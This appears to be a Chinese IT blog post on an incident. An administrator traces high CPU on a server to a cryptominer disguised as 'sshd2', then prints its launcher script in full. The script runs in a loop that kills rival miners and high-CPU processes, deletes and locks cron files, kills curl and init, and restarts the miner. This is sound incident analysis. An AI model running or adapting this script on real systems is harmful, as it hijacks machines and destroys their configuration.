一个挖矿脚本

一个挖矿脚本遇到一台机器偶尔cpu使用率达到80%,触发告警。登录查看后一个sshd2程序导致cpu负载高仔细查看就知道和sshd是两个完全不同的进程,取名sshd2应该只是为了迷惑用户查看到父进程是一个/tmp/javax/config.sh,这个文件在当前系统已经删除了,所以只能按照pid号通过lso

大家好,欢迎来到IT知识分享网。一个挖矿脚本"

遇到一台机器偶尔cpu使用率达到80%,触发告警。登录查看后一个sshd2程序导致cpu负载高

仔细查看就知道和sshd是两个完全不同的进程,取名sshd2应该只是为了迷惑用户

ps -ef查看到父进程是一个/tmp/javax/config.sh, 这个文件在当前系统已经删除了,所以只能按照pid号通过lsof -p PID查看打开的文件句柄
在/proc/PID/fd里面顺利找到执行脚本

#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
while [ 1 ]
do
    p=$(ps auxf|grep -v grep|grep sshd2|wc -l)
    if [ ${p} -eq 0 ];
    then
        ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
    fi
    chattr -i /var/spool/cron/root
    chattr -i /var/spool/cron/crontabs/root
    chattr -i /usr/local/bin/dns
    pkill 6Tx3Wq
    rm -f /tmp/6Tx3Wq
    killall -9 38c985b26d38da0cbcc9f8ae3527e8e3b
    killall -9 /tmp/.sysinfo/*
    rm -f /tmp/.sysinfo/*
    chattr +i /tmp/.sysinfo
    rm -f /var/spool/cron/root
    rm -f /var/spool/cron/backup.db
    rm -f /var/spool/cron/dump.rdb
    rm -f /var/spool/cron/jw
    rm -f /var/spool/cron/uo
    rm -f /var/spool/cron/vf
    rm -f /tmp/root
    rm -f /tmp/backup.db
    rm -f /tmp/dump.rdb
    rm -f /tmp/root
    rm -f /var/spool/cron/crontabs/root
    rm -f /var/spool/cron/crontabs/dump.rdb
    killall -9 kworkerds
    chattr -i /etc/cron.d/root
    chattr -i /etc/cron.d/apache
    chattr -i /etc/cron.d/0hourly
    rm -f /etc/cron.d/root
    rm -f /etc/cron.d/apache
    rm -f /etc/cron.d/0hourly
    rm -f /tmp/kworkerds
    rm -f /var/tmp/kworkerds
    rm -f /etc/cron.hourly/oanacroner
    rm -f /etc/cron.hourly/oanacrona
    rm -f /etc/cron.daily/oanacroner
    rm -f /etc/cron.daily/oanacrona
    rm -f /etc/cron.monthly/oanacroner
    rm -f /usr/local/bin/dns
    pkill .systemcero
    pkill vTtHH
    pkill -f /tmp/just4root
    pkill -f /tmp/just4copy
    pkill -f /tmp/dc_name
    pkill x7
    pkill cloudupdate
    pkill diskmanagerd
    pkill curl
    pkill jspserv
    pkill init
    pkill sysupdate
    pkill sysguard
    pkill networkservice
    pkill watchbog
    rm -f /usr/share/watchbog/watchbog
    rm -f /bin/httpsntp
    rm -f /bin/ftpsntp
    rm -f /tmp/.systemcero
    rm -f /tmp/vTtHH
    rm -f /usr/bin/.systemcero
    rm -f /usr/bin/cloudupdate
    rm -f /usr/bin/diskmanagerd
    rm -f /lib/libterminfo.so
    rm -f /tmp/config.json
    rm -f /var/tmp/jspserv
    rm -f /etc/update.sh
    chattr -i /etc/sysupdate
    rm -f /etc/sysupdate
    rm -f /etc/config.json
    echo >/tmp/6Tx3Wq
    echo >/tmp/vTtHH
    chattr +i /tmp/6Tx3Wq
    chattr +i /tmp/vTtHH
    p=$(ps auxf|grep sshd2|awk '{if($3>=70.0) print $2}')
    name=""$p
    if [ -z "$name" ]
    then
        ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
        nohup /tmp/javax/sshd2 &>>/dev/null &  
    else
         :
    fi
    sleep 60 
done

从脚本的删除动作来看,可能是通过redis的漏洞进来的,脚本似乎还想努力不让监控发现

修复方案
时间短,修复不是我来操作的。初步并没有发现隐藏的激活方式,所以按照上面脚本的内容反向处理一下应该就可以了,注意防范redis的漏洞。

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://yundeesoft.com/32733.html

(0)

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

关注微信